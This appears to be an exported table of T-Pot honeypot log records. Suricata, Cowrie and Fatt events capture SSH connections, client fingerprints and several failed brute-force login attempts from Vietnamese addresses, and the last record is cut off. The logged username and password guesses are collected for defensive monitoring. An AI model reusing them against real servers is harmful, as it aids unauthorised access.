25849	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:10:51.652005+03	2021-09-20 14:15:12.513646+03	{"_id": "_wbmAnwBvYTbRNuEyxwb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 2080389484726655, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 59120, "dest_port": 22, "timestamp": "2021-09-20T11:10:51.652005Z", "@timestamp": "2021-09-20T11:10:51.652Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25850	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:53.352341+03	2021-09-20 14:15:12.515647+03	{"_id": "FAbmAnwBvYTbRNuE0B2y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [lindsay/lastmile] failed", "session": "1811f01b4e8c", "@version": "1", "password": "lastmile", "username": "lindsay", "timestamp": "2021-09-20T11:10:53.352341Z", "@timestamp": "2021-09-20T11:10:53.352Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25851	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:53.337118+03	2021-09-20 14:15:12.517646+03	{"_id": "GgbmAnwBvYTbRNuE0B2z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [ryan/ryan] failed", "session": "f380da35ef70", "@version": "1", "password": "ryan", "username": "ryan", "timestamp": "2021-09-20T11:10:53.337118Z", "@timestamp": "2021-09-20T11:10:53.337Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25853	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:10:53.576797+03	2021-09-20 14:15:12.520644+03	{"_id": "GwbmAnwBvYTbRNuE0h3t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1210763834116695, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38820, "dest_port": 22, "timestamp": "2021-09-20T11:10:53.576797Z", "@timestamp": "2021-09-20T11:10:53.576Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25854	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:53.301881+03	2021-09-20 14:15:12.521646+03	{"_id": "HAbmAnwBvYTbRNuE1B0I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38820, "timestamp": "2021-09-20T11:10:53.301881", "@timestamp": "2021-09-20T11:10:53.301Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25855	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:10:54.783737+03	2021-09-20 14:15:12.522646+03	{"_id": "LgbmAnwBvYTbRNuE1h3W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 170718176105589, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 32924, "dest_port": 22, "timestamp": "2021-09-20T11:10:54.783737Z", "@timestamp": "2021-09-20T11:10:54.783Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25856	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:54.786519+03	2021-09-20 14:15:12.523646+03	{"_id": "MAbmAnwBvYTbRNuE1x3w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 32924, "timestamp": "2021-09-20T11:10:54.786519", "@timestamp": "2021-09-20T11:10:54.786Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25857	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:10:54.71466+03	2021-09-20 14:15:12.524646+03	{"_id": "MQbmAnwBvYTbRNuE2B2F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [monitor/monitor123] failed", "session": "459e45d334af", "@version": "1", "password": "monitor123", "username": "monitor", "timestamp": "2021-09-20T11:10:54.714660Z", "@timestamp": "2021-09-20T11:10:54.714Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25859	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:10:55.003353+03	2021-09-20 14:15:12.527646+03	{"_id": "MwbmAnwBvYTbRNuE2B2F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [baba/baba] failed", "session": "6869da236584", "@version": "1", "password": "baba", "username": "baba", "timestamp": "2021-09-20T11:10:55.003353Z", "@timestamp": "2021-09-20T11:10:55.003Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25860	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:10:55.454857+03	2021-09-20 14:15:12.528645+03	{"_id": "NAbmAnwBvYTbRNuE2B2F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [admin/test123] failed", "session": "da54e520d054", "@version": "1", "password": "test123", "username": "admin", "timestamp": "2021-09-20T11:10:55.454857Z", "@timestamp": "2021-09-20T11:10:55.454Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25861	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:10:51.298585+03	2021-09-20 14:15:12.529645+03	{"_id": "-AbmAnwBvYTbRNuEyBzh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:59120 (192.168.176.2:22) [session: 41d400a16496]", "session": "41d400a16496", "@version": "1", "protocol": "ssh", "src_port": 59120, "dest_port": 22, "timestamp": "2021-09-20T11:10:51.298585Z", "@timestamp": "2021-09-20T11:10:51.298Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25862	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:56.363155+03	2021-09-20 14:15:12.530645+03	{"_id": "PQbmAnwBvYTbRNuE3B1s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:46124 (192.168.176.2:22) [session: 3bf807a96dc4]", "session": "3bf807a96dc4", "@version": "1", "protocol": "ssh", "src_port": 46124, "dest_port": 22, "timestamp": "2021-09-20T11:10:56.363155Z", "@timestamp": "2021-09-20T11:10:56.363Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25863	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:10:56.676927+03	2021-09-20 14:15:12.531646+03	{"_id": "RQbmAnwBvYTbRNuE3x3C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 46124, "dest_port": 22, "timestamp": "2021-09-20T11:10:56.676927", "@timestamp": "2021-09-20T11:10:56.676Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25869	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:10:58.721853+03	2021-09-20 14:15:12.540644+03	{"_id": "YgbmAnwBvYTbRNuE5x2U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 37816, "dest_port": 22, "timestamp": "2021-09-20T11:10:58.721853", "@timestamp": "2021-09-20T11:10:58.721Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25864	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:56.677669+03	2021-09-20 14:15:12.533644+03	{"_id": "RgbmAnwBvYTbRNuE4B1W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", 